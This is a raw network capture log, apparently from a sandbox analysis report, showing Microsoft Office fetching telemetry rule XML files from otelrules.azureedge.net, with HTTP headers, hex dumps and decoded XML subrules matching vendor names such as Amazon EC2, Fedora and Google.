3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:05 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220405Z-16547b76f7fjx5nrhC1DFW4dsc00000003ng000000005qyu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7fzwxm2hC1DFWt5hw000000041g0000000065sb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7fxqj4khC1DFWpypw00000003vg00000000067v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:06 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7ff9zf4hC1DFW2pfc0000000420000000003z8s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:06 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7fgvq8chC1DFWhd2w000000072g000000000b2n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:06 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 56737357-c01e-0014-3efa-36a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-164f84587bffvwt9hC1DFW2ktw000000043g00000000neyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:06 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7fsq6p7hC1DFWfx6800000004wg000000008c25 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220406Z-16547b76f7f5b5tthC1DFWuk84000000051000000000ct9x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:07 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 02e40e2a-001e-00a2-7a2b-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220407Z-16547b76f7f9s8x7hC1DFWywrg000000066g00000000cpbf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220407Z-16547b76f7fd4rc5hC1DFWkzhw00000006qg00000000cyfm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220407Z-16547b76f7fd4rc5hC1DFWkzhw00000006qg00000000cyfu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 22:04:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 22:04:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 22:04:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 22:04:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T220407Z-16547b76f7fljddfhC1DFWeqbs000000076g00000000pqek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
